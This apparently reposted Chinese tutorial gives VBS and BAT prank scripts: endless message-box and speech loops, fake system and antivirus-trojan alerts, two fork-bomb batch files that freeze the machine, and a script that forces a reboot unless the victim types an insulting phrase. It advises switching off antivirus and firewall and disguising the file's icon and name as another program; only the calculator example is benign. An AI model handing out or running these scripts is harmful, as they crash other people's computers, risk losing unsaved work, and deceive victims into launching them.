新建文本文件(xxx.txt)，復(fù)制以下代碼到文本文件，保存后將’.txt’后綴改成’.vbs’或者‘.bat’，以下代碼若標注為.bat，那么將后綴改成.bat，否則默認改成.vbs。然后點擊修改后的文件，就能出現(xiàn)彈窗的效果。那么如何關(guān)閉這些彈窗呢？一般可通過任務(wù)管理器結(jié)束wscript/cscript或者找到以下紅綠藍圖標，結(jié)束任務(wù)即可。

準備1：因為涉及到修改后綴名，有些小伙伴的文件沒有后綴名，如何修改讓文件顯示后綴名呢？

打開我的電腦–>查看–>勾選“文件擴展名”，貼圖如下：

準備2：如果出現(xiàn)360或者防火墻攔截，先關(guān)閉，以下的這些代碼對電腦沒有實質(zhì)性損害。

可能出現(xiàn)的情況：

如果復(fù)制我的代碼運行后報錯"無效字符"，或者中文會變成亂碼，代碼是沒有問題的，都是親測后截圖。那么如何解決呢？步驟如下

步驟一：

步驟二：

步驟三：

1. 返回出現(xiàn)一個彈窗

do msgbox "hello world" loop

2. 無限報數(shù)

從0開始報數(shù)，無限循環(huán)…，這個若要用任務(wù)管理器結(jié)束進程的話，需要在“后臺進程”中查找到對應(yīng)圖標并結(jié)束。

Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop

3. 多個錯誤信息的彈窗

解釋說明：
指令中的數(shù)字代表的含義如下：

數(shù)字按鈕樣式

0	確定
1	確定 取消
2	終止 重試 忽略
3	是 否 取消
4	是 否
5	重試 取消

數(shù)字圖標樣式

0	沒有圖標
16	錯誤圖標
32	問號圖標
48	感嘆號圖標
64	信息圖標

r=msgbox("由于另一個程序正在運行中，此操作無法完成",5+48,"系統(tǒng)錯誤") r=msgbox("發(fā)現(xiàn)木馬，建議立即清除",0+16,"360殺毒，威脅警告") do r=msgbox("系統(tǒng)即將關(guān)閉。請關(guān)閉所有正在運行的文件，然后注銷。",0+64,"關(guān)閉系統(tǒng)") loop

4. 無限彈窗（.bat）

后綴改成.bat，此條慎用，無限彈窗，且速度極快，容易死機，滿屏黑色命令提示符窗口，強制關(guān)機有效。

:start start cmd goto start

5. 電腦死機（.bat）

代碼非常簡短，但殺傷力不小。%0就是那個bat文件本身，整句話的意思就是bai啟動批處理自身，并且參數(shù)是自身，這樣批處理就從新窗口啟動了這個批處理，造成循環(huán)。最后效果就是cpu很快飆升到99%，卡住…只能重啟

%0|%0

6. 問答型彈窗+定時關(guān)機重啟

惡搞時確保電腦上的東西已保存，不然重啟后有些東西沒了別來找我（手動微笑），經(jīng)驗之談。

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是傻子，不說的話就一分鐘關(guān)你機，不信的可以試試···"" ",0 ,true dim a do while(a <> "我是傻子") a = inputbox ("說我是傻子,就不會關(guān)機，趕緊的，說 ""我是傻子"" ","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "乖，聽話，叫聲大哥，哥以后罩著你"

7. 使用vbs制作一個簡易計算器

msgbox "歡迎使用VBS計算器",,"計算器" dim a,b,c,m a = inputbox("請輸入第一個數(shù)字") c = inputbox("請輸入計算符號") b = inputbox("請輸入第二個數(shù)字") if c = "+" then m = a + b if c = "-" then m = a - b if c = "*" then m = a * b if c = "/" then m = a / b msgbox a&c&b&"="&m,,"計算完畢"

使用elseif完善計算器

msgbox "歡迎使用VBS計算器",,"計算器" dim a,b,c,m a = inputbox("請輸入第一個數(shù)字") c = inputbox("請輸入計算符號") b = inputbox("請輸入第二個數(shù)字") if c = "+" then m = a + b if c = "-" then m = a - b if c = "*" then m = a * b if c = "/" then m = a / b if a = "" then msgbox "缺少參數(shù)1",,"Error" elseif b = "" then msgbox "缺少參數(shù)2",,"Error" elseif c = "" then msgbox "缺少運算符號",,"Error" else msgbox a&c&b&"="&m,,"計算完畢" end if

8. 如何偽裝成其他程序

右鍵創(chuàng)建好的xxx.vbs文件–>創(chuàng)建快捷方式，對新生成的文件右鍵“屬性”，更改圖標


修改圖標后再修改文件名，就可以做到以假亂真的效果啦~

總結(jié)

以上是生活随笔為你收集整理的VBS/BAT使用/恶搞（操作+图示）的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。